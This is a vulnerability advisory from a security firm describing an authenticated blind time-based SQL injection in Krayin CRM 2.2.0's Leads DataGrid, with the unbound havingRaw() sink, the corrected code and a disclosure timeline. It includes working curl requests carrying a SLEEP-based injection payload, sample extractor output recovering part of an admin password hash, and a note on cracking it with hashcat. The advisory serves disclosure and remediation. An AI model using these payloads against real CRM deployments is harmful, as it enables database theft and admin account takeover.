Krayin CRM 2.2.0 - Authenticated Blind SQL Injection in Leads DataGrid

Krayin CRM 2.2.0 contains an authenticated blind time-based SQL injection in the Leads DataGrid. The `rotten_lead[in]` request parameter is concatenated directly into a `havingRaw()` expression without parameter binding, exposing the database to byte-by-byte extraction by any authenticated staff user

B
Bytium Operators
2 min read

Krayin CRM 2.2.0 contains an authenticated blind time-based SQL injection in the Leads DataGrid. The rotten_lead[in] request parameter is concatenated directly into a havingRaw() expression without parameter binding, exposing the database to byte-by-byte extraction by any authenticated staff user — including the lowest-privilege Sales Rep role. The most impactful target row is the bcrypt password hash of the primary admin account, recoverable in roughly fifteen minutes against a localhost install.

The bug

The sink is packages/Webkul/Admin/src/DataGrids/Lead/LeadDataGrid.php, line 89-91:

if (! is_null(request()->input('rotten_lead.in'))) {
    $queryBuilder->havingRaw(
        $tablePrefix.'rotten_lead = '.request()->input('rotten_lead.in')
    );
}

rotten_lead[in] is concatenated directly into HAVING with no binding and no type coercion. The endpoint is reachable as any authenticated admin-panel user at GET /admin/leads with X-Requested-With: XMLHttpRequest, which routes LeadController::index() (line 66) to datagrid(LeadDataGrid::class)->process().

There is no role-level gate on this specific filter beyond the standard Bouncer "user" middleware, so the lowest-privilege staff role reaches the sink.

Reproduction

Verified live on a stock Krayin 2.2.0 Docker install, authenticated as a non-admin Sales Rep with five leads visible to the session.

Baseline:

time curl -sS -b "$JAR" -H "X-Requested-With: XMLHttpRequest" -o /dev/null \
     "http://target/admin/leads?pipeline_id=1&rotten_lead%5Bin%5D=1"
# real 0m0.028s

Time-based oracle (SLEEP(2) × five matched rows = ~10s):

time curl -sS -b "$JAR" -H "X-Requested-With: XMLHttpRequest" -o /dev/null \
     "http://target/admin/leads?pipeline_id=1&rotten_lead%5Bin%5D=1%20OR%20SLEEP(2)"
# real 0m10.024s

A binary-search extractor recovers the admin bcrypt hash byte-by-byte:

[+] calibrating oracle
    baseline=0.01s  sleep_payload=3.02s
[+] extracting: SELECT password FROM users WHERE id=1 LIMIT 1
    [01] '$'   so far: $
    [02] '2'   so far: $2
    ...
    [60] '.'   so far: $2y$10$TOUeqljAUhpipQJOn2aGg...

Full PoC script (poc_sqli.py) — takes the login URL plus staff creds and walks the extraction automatically — lives in the Bytium advisory bundle.

Impact

  • Full database read. Any column the running MySQL/MariaDB user can read is recoverable through the oracle, byte by byte.
  • Admin compromise via offline crack. The recovered bcrypt hash feeds straight into hashcat -m 3200. If the deployment's admin password is anything weaker than a passphrase, the attacker logs into the admin panel through the normal UI — no webshell, no anomalous file writes, just a legitimate-looking session.
  • Stealth. The endpoint is normally noisy with DataGrid traffic, so injection requests blend with regular pagination/filter activity unless the deployment is running query-pattern detection.

The bug is exploitable by every staff role; the access-control model around view_permission is irrelevant once the attacker reaches havingRaw.

Fix

One-line correct fix in LeadDataGrid::prepareQueryBuilder:

$queryBuilder->havingRaw(
    $tablePrefix.'rotten_lead = ?',
    [(int) request()->input('rotten_lead.in')]
);

The integer cast is enough on its own because rotten_lead is a boolean-like flag (the UI only ever sends 0 or 1). For richer filters elsewhere in the same DataGrid family, prefer having() with a column whitelist over havingRaw() so identifier quoting is automatic.

Timeline

  • 2026-05-04 — Bug discovered during audit of Krayin CRM 2.2.0.
  • 2026-05-07 — Vendor notified by email with 7-day disclosure deadline.
  • 2026-05-16 — Coordinated-disclosure deadline. If no fix or vendor engagement by this point, advisory and CVE submission go public.

Credit

Discovered and reported by Jobyer Ahmed — Offensive Security Researcher.

Need help?

Talk with Bytium

Share your goals and we'll shape the right testing, detection, or compliance plan.

Talk to security